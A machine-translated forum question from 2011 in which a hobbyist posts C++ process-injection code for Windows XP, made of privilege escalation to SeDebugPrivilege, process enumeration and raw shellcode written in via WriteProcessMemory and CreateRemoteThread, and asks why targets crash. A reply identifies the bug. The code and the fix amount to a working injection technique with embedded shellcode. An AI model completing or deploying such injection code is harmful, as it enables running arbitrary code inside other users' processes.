Windows進程注入崩潰

這是我的第一個半長軸C++項目。我是一個自學成才的程序員，所以如果我的代碼有任何重大缺陷或如果你碰巧有任何提示請給我指出來，我很渴望學習。謝謝。Windows進程注入崩潰

反正，我決定代碼窗口的過程噴射器，如標題所說，我每次我試圖注入Windows XP SP2的鈣進入指定的進程，它崩潰。我決定讓它成爲XP的原因是因爲這是一個測試版本/ POC /無論如何。

這是因爲shellcode的是僅適用於特定的進程？我曾嘗試不同的進程，explorer.exe，firefox.exe等仍然崩潰。哦，和FYI我的ASM不是最好的，所以我借殼shellcode的一些shellcode

此外，代碼看起來如何？對於某些psapi/windows參數，我有些理解MSDN API的問題。這看起來有些模糊，在我的一些問題上在線上找到示例很難。

#include <windows.h> 
#include <stdio.h> 
#include <psapi.h> 
#define BYTESIZE 100 

void ProcessIdentf(DWORD ProcessID); 
//Required for Process Handling rights 
int SeDebugMode(HANDLE ProcessEnabled, LPCTSTR Base_Name); 

int main(void){ 
    //x86 | Windows XP SP2 | calc.exe call 
    //POC data 
    unsigned char call_calc[] = 
    "\x31\xc0\xeb\x13\x5b\x88\x43\x0e\x53\xbb\xad\x23\x86\x7c\xff\xd3\xbb" 
    "\xfa\xca\x81\x7c\xff\xd3\xe8\xe8\xff\xff\xff\x63\x6d\x64\x2e\x65\x78" 
    "\x65\x20\x2f\x63\x20\x63\x6d\x64"; 
    //Process HANDLE && Process Identifier WORD 
    HANDLE FfHandle; 
    int ProcID; 
    //VirtualAllocMemPnter 
    LPVOID lpv = NULL; 
    //Typecasted pointer to Shellcode 
    char* shellptr = call_calc; 
    //Handle for CreateRemoteThread function 
    HANDLE ControlStructRemote; 
    //Number of bytes successfully executed 
    SIZE_T bytescom; 
    //Data for Process enumeration 
    DWORD xyProcesses[1024]; //Max_Proc 
    DWORD abProcesses, cntbNeeded; 
    unsigned int c; 
    printf("POC version x00.\nInjects example x86 shellcode into process.\n"); 
    SeDebugMode(GetCurrentProcess(), SE_DEBUG_NAME); 
    printf("SE_DEBUG_PRIVILEGE successfully enabled.\nPrinting process' eligable for injection\n"); 
    Sleep(10000); 
    if(!EnumProcesses(xyProcesses, sizeof(xyProcesses), &cntbNeeded)){ 
     exit(1); 
    } 
    abProcesses = cntbNeeded/sizeof(DWORD); 
    //Enumerate processes owned by current user 
    for(c = 0; c &lt; abProcesses; c++){ 
     if(xyProcesses[c] != 0){ 
      ProcessIdentf(xyProcesses[c]); 
     } 
    } 
    printf("Process PID required\n"); 
    scanf("%d", &ProcID); 
    FfHandle = OpenProcess(PROCESS_ALL_ACCESS, 
    FALSE, 
    ProcID); 
    lpv = VirtualAllocEx(FfHandle, 
    NULL, 
    BYTESIZE, 
    MEM_COMMIT, 
    0x40); //PAGE_EXECUTE_READWRITE 
    if(WriteProcessMemory(FfHandle, lpv, &shellptr, sizeof(shellptr), &bytescom) != 0){ 
     ControlStructRemote = CreateRemoteThread(FfHandle, 
     0, 
     0, 
     (DWORD (__stdcall*) (void*)) shellptr, 
     0, 
     0, 
     0); 
     if(ControlStructRemote){ 
      printf("POC shellcode successful.\n"); 
     } 
     else{ 
      printf("Failure, CreateRemoteThread could not spawn a remote thread or failed to exec in target process\n"); 
     } 
    } 
    return 0; 
} 

void ProcessIdentf(DWORD ProcID){ 
    //Enumerates PID and modules. Prints. Implement in loop 
    //unicode char, max ntfs datafile 
    TCHAR szProcessname[MAX_PATH] = TEXT("&lt;unknown&gt;"); 
    //open proc handle 
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, 
    FALSE, ProcID); 
    //enum modules 
    if(NULL != hProcess){ 
     HMODULE hMod; 
     DWORD cbNeed; 
     if(EnumProcessModules(hProcess,&hMod, sizeof(hMod),&cbNeed)) 
     { 
      GetModuleBaseName(hProcess, hMod, szProcessname, 
      sizeof(szProcessname)/sizeof(TCHAR)); 
     } 
    } 
    //print PID 
    printf("%s PID: %u\n", szProcessname, ProcID); 
    //close processhandle 
    CloseHandle(hProcess); 
} 

int SeDebugMode(HANDLE xyProcess, LPCTSTR DebugPriv){ 
    HANDLE hTokenProc; 
    LUID xDebugVal; 
    TOKEN_PRIVILEGES tPriv; 
    if(OpenProcessToken(xyProcess, 
    TOKEN_ADJUST_PRIVILEGES, 
    &hTokenProc)){ 
     if(LookupPrivilegeValue(NULL, DebugPriv, &xDebugVal)){ 
      tPriv.PrivilegeCount = 1; 
      tPriv.Privileges[0].Luid = xDebugVal; 
      tPriv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 
      AdjustTokenPrivileges(hTokenProc, 
      FALSE, 
      &tPriv, 
      sizeof(TOKEN_PRIVILEGES), 
      NULL, 
      NULL 
      ); 
      if(GetLastError() == ERROR_SUCCESS){ 
       return TRUE; 
      } 
     } 
    } 
    return FALSE; 
}

來源

2011-09-02 Polishh

我不知道，就是爲了獲得幫助編寫惡意軟件的地方。 –

您在shellptr創建遠程線程，但它應該是lpv，你寫的代碼。

BTW，儘量避免PROCESS_ALL_ACCESS，只指定你所需要的確切訪問（這是所有MSDN上的每個API）

來源

2011-09-02 13:55:05 pezcode

Windows進程注入崩潰

回答

相關問題